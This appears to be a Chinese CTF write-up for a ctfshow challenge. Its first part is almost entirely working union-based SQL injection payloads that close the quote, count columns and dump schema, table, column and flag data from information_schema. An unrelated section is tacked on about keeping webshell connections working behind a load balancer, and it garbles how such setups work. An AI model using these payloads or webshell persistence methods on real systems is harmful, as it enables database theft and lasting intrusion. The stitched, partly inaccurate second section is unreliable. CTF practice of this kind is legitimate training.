输入?id=1 正常
输入?id=1' 报错 ' .0 '
输入?id=1'--+ 正常
判断是字符型注入,闭合方式是'
?id=1' order by 3--+ 正常
判断回显位有三个。
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flag
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+
爆出列是id,flag
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+
负载均衡下webshell连接
在负载均衡下,webshell连接的方式会有所不同。以下是两种常见的负载均衡下webshell连接的方式:
使用Session Sticky方式: 在Session Sticky方式下,负载均衡器会将同一个客户端的请求始终转发到同一台后端服务器上。这样,当一个webshell连接建立后,后续的请求都会被转发到同一台服务器上,保证了连接的连续性和稳定性。
使用共享存储方式: 在共享存储方式下,负载均衡器会将webshell文件存储在共享存储设备上,而不是存储在后端服务器上。这样,无论请求被转发到哪台服务器,都可以访问到相同的webshell文件,实现了连接的共享和一致性。
需要注意的是,负载均衡下的webshell连接可能会面临一些挑战,比如文件分片上传导致文件被拆分到不同的后端服务器上。解决这个问题的方法取决于负载均衡算法的选择和具体的实现方式。